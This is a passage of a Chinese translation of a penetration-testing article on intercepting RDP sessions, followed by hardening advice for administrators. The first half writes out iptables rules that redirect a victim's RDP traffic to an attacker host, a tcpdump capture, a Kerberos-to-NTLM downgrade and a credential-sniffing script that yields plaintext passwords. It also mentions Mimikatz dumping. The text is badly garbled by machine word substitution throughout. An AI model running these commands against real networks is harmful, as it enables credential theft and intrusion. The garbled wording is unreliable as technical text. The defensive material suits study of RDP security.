起首,我们缔造一个iptables规则,回绝承受来自一个用于RDP
办事器传输的被攻击者的SYN数据包:
1 $ iptables -A FORWARD -p tcp -s"$VICTIM_IP" --syn --dport 3389 -j REJECT
我们不想重定向任何其他流量,因为被攻击者可能会正在利用已经成立毗连的RDP,如许的话会毁坏毗连。若是我们不拒收那些数据包,受害者现实上会与实正的主机毗连,而相反我们希望他们与我们毗连。
其次,我们期待受害人的目标端口3389 TCP的SYN包,为了获取最后的目标主机的地址。我们在那利用tcpdump号令 :
1 $ tcpdump -n -c 1 -i "$IFACE" src host "$VICTIM_IP" and \
2 "tcp[tcpflags] & tcp-syn != 0" and \
3 dst port 3389 2> /dev/null | \
4 sed -e s/.*> \([0-9.]*\)\.3389:.*/\1/
那个-c1选项 告知tcpdump在第一个数据包婚配之后就退出。那个SYN数据包就会丧失,但没什么关系。很快被攻击者的系统会再次停止测验考试。
第三,我们将检索RDP办事器的SSL证书,并创建一个新的本身签名证书,不异的通用名称做为原始凭证。因而,我们能够改动证书的有效期,从外表上很难看出来区别出来它和原先的,除非你花很长时间比力。我写了一个小bash脚本[23]来实现它。
如今,我们删除了iptables规则,重定向了所有来自被攻击者的TCP流量,关于实正的RDP主机连到了我们的IP地址:
1 $ iptables -t nat -A PREROUTING -p tcp -d "$ORIGINAL_DEST" \
2 -s "$VICTIM_IP" --dport 3389 -j DNAT --to-destination "$ATTACKER_IP"
从Kerberos强迫降级到NTLM,我们把所有受害者发送到目的端口88的TCP流量全数封锁了:
1 $ iptables -A INPUT -p tcp -s "$VICTIM_IP" --dport 88 \
2 -j REJECT --reject-with tcp-reset
如今,万事俱备,只需要运行python脚本:
1 $ rdp-cred-sniffer.py -c "$CERTPATH" -k "$KEYPATH" "$ORIGINAL_DEST"
移除 点击此处添加图片申明文字
图6: 最初! 右边:受害者毗连到域控造器上的一个RDP会话视图。右边: 攻击者的纯文本密码视图。(请选择一个比我的测试安拆法式更好的密码。)
建议
如今你可能想晓得,做为一个系统办理员,做些什么能够让您的计算机收集更平安。
起首,最重要的是,若是办事器合法身份无法被验证,RDP毗连是不成能发作的,好比说SSL证书不是由受信赖的证书颁布机构(CA)签订。您必需与您的企业CA签订所有办事器证书。客户端必需通过设置装备摆设GPO【22】以制止无效证书的毗连。
计算机设置装备摆设→战略→办理模板→Windows组件→长途桌面办事(或末端办事)→长途桌面毗连客户端→设置装备摆设办事器验证客户端身份
能否在办事器端施行CredSSP(NLA)的问题是棘手的。按照记录,那能够铺开做为组战略[20]:
[同上]→长途桌面主时机话(或末端办事器)→平安→通过利用收集层认证来要求用在长途毗连中实现认证
既然我们已经看到在NLA下,客户端缓存用户的根据是不成能便利地从头发送它们的,我们晓得那些根据是在内存中。因而,只要攻击者有办理员权限的话就能够读取它们,好比说Mimikatz [24]。我们在客户收集中看到一种难以置信的场景:传染一台机器,用mimikatz提取登录用户用于登录的的明文凭证。而且继续如许做,曲到你找到域办理员的密码。那就是为什么你应该只在域控造器上利用你的域办理员账户而非其它任何处所。
但是,若是利用RDP长途毗连到域控造器上时,在工做站上用高权限账户登录留下了记录,那会是一个很严峻的问题。此外,若是你施行NLA,“用户下次登录时须更改密码”被启用的话,在末端办事器工做的用户将被锁定。据我们所晓得的,NLA独一的
优势是它更便利地能够减轻回绝办事攻击,因为它利用较少资本,也能够庇护基于收集的关于RDP的庇护:如MS12-020 [25]。那就是为什么我们目前正在讨论能否建议在RDP上禁用NLA。
若是你想制止利用NLA,设置组战略”需要利用特定平安层长途毗连“到SSL [ 20 ]。
您还有一个法子来进一步增加RDP毗连的平安性,就是除了用户证书外两次利用一个二个二阶的因子。那可能有你想看的第三方产物,至少关于关键的平安系统:好比域控造器。
若是您有通过RDP毗连到Windows末端办事器的Linux机器,我要在那里提醒一下,流行的RDP客户端rdesktop不撑持NLA,而且在底子不验证SSL证书的有效性。一个
替代计划是xfreerdp,验证证书的有效性。
最初,我们鼓舞你教育你的同事和用户关于SSL警告不要漫不经心,无论是RDP或HTTPS或其他任何工具。做为办理员,您应当确保你的客户端系统在受信赖的CA列表有你的根CA。如许一来,那些警告就不会呈现,而且不需要打德律风给IT部分。
移除 点击此处添加图片申明文字
Figure 7: A crucial GPO setting: Configure server authentication for client
本文由 看雪翻译小组 fyb波 编译,来源The Pentest Experts
往期热门内容保举
等你来挑战!| 看雪 CTF 2017 攻击篇
【末于比及你!】看雪 CTF 2017
春风十里,我在等你
【木马阐发】谍影逃踪:全球首例 UEFI_BIOS 木马阐发
惊爆蚂蚁矿机有后门
深圳,一个让我徘徊的“天堂” —— 喜当爹
......
更多优良文章,“存眷看雪学院公家号”查看!
看雪论坛:看雪平安论坛
微信公家号 ID:ikanxue
微博:看雪平安
投稿、合做:看雪学院